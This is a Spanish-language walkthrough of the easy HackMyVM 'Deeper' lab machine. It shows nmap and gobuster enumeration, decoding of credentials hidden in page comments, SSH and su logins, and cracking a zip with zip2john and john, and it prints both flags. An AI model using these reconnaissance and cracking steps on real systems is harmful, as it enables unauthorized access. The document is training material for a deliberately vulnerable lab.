Deeper HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 06:02 EDT
Nmap scan report for 192.168.5.95
Host is up (0.0020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 37:d1:6f:b5:a4:96:e8:78:18:c7:77:d0:3e:20:4e:55 (ECDSA)
|_ 256 cf:5d:90:f3:37:3f:a4:e2:ba:d5:d7:25:c6:4a:a0:61 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Deeper
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 08:00:27:A7:74:75 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds
Veremos un puerto 80
en el que suele alojar una pagina web, si entramos dentro de dicho puerto veremos una pagina aparentemente normal, por lo que vamos a realizar un poco de fuzzing
a ver que vemos.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.95/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 277]
/index.html (Status: 200) [Size: 666]
/img (Status: 200) [Size: 1333]
Progress: 79198 / 882244 (8.98%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 79994 / 882244 (9.07%)
===============================================================
Finished
===============================================================
Veremos cosas pero nada interesante,, si inspeccionamos el codigo de la pagina principal veremos lo siguiente interesante:
<!-- GO "deeper" -->
Nos da una pista de que puede ser un recurso web
la palabra deeper
.
URL = http://<IP>/deeper
Vemos que nos lleva a otra pagina con otra imagen, si volvemos a inspeccionar el codigo veremos lo siguiente:
<!-- GO evendeeper -->
Vemos que nos pone otra palabra, por lo que vamos a probar acceder a dicho recurso si existiera desde donde estamos.
URL = http://<IP>/deeper/evendeeper
Veremos que tambien carga y si volvemos a inspeccionar le codigo veremos este codigo en morse
que hay a la derecha del todo, tambien abajo del todo veremos una contraseña cifrada.
<!-- USER .- .-.. .. -.-. . -->
<!-- PASS 53586470624778486230526c5a58426c63673d3d -->
Si decodificamos el USER
veremos lo siguiente:
ALICE
Veremos que nos da un usuario llamado alice
, ahora probemos con la contraseña.
Veremos que es un codigo Hexadecimal
traducido a ascii
veremos lo siguiente:
SXdpbGxHb0RlZXBlcg==
Ahora vemos que es un codigo en base64
por lo qie haremos esto en una terminal.
echo 'SXdpbGxHb0RlZXBlcg==' | base64 -d
Info:
IwillGoDeeper
Por lo que vemos puede ser la contraseña del usuario alice
por lo que vamos a probar a conectarnos por SSH
a ver si funciona.
SSH
ssh alice@<IP>
Metemos como contraseña IwillGoDeeper
...
Linux deeper 6.1.0-11-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-4 (2023-08-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Aug 26 00:38:16 2023 from 192.168.100.103
alice@deeper:~$ whoami
alice
Y veremos que estaremos dentro, por lo que leeremos la flag
del usuario.
user.txt
7e267b737cc121c29b496dc3bcffa5a7
Escalate user bob
Si listamos la home
del usuario alice
veremos un archivo llamado .bob.txt
que pone lo siguiente:
535746745247566c634556756233566e61413d3d
Vemos que esta codificado en Hexadecimal
, por lo que vamos a decodificarlo:
SWFtRGVlcEVub3VnaA==
Ahora esta en Base64
, si lo decodificamos de esta forma:
echo 'SWFtRGVlcEVub3VnaA==' | base64 -d
Info:
IamDeepEnough
Veremos que puede ser la contraseña del usuario bob
vamos a probarla asi:
su bob
Metemos como contraseña IamDeepEnough
...
bob@deeper:/home/alice$ whoami
bob
Veremos que ha funcionado y seremos dicho usuario.
Escalate Privileges
Si listamos la home
del usuario bob
veremos que hay un archivo zip
interesante el cual nos vamos a pasar a nuestro host
(KALI
).
Como no tenemos python3
vamos a utilizar la utilidad de SCP
por SSH
, por lo que vamos a iniciar el servicio SSH
desde nuestro host
.
sudo systemctl start ssh
Ahora desde la maquina victima haremos esto:
scp root.zip kali@<IP>:/home/kali/Desktop/deeper/
Con esto tendremos el archivo en nuestro host
.
Si intentamos decomprimirlo veremos que esta con contraseña, por lo que vamos a crackearlo
con john
de esta forma:
zip2john root.zip > hash.txt
john --wordlist=<WORDLIST> hash.txt
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bob (root.zip/root.txt)
1g 0:00:00:00 DONE (2025-09-08 06:59) 14.28g/s 351085p/s 351085c/s 351085C/s havana..280789
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Veremos que lo ha decodificado y la contraseña es bob
, vamos a descomprimirlo.
unzip root.zip
Metemos como contraseña bob
y veremos lo siguiente:
Archive: root.zip
[root.zip] root.txt password:
extracting: root.txt
Si leemos dicho root.txt
veremos lo siguiente:
root:IhateMyPassword
Vamos a probar esa contraseña con el usuario root
.
su root
Metemos como contraseña IhateMyPassword
...
root@deeper:/home/bob# whoami
root
Y con esto veremos que seremos root
, por lo que leeremos la flag
de root
.
root.txt
dbc56c8328ee4d00bbdb658a8fc3e895
Last updated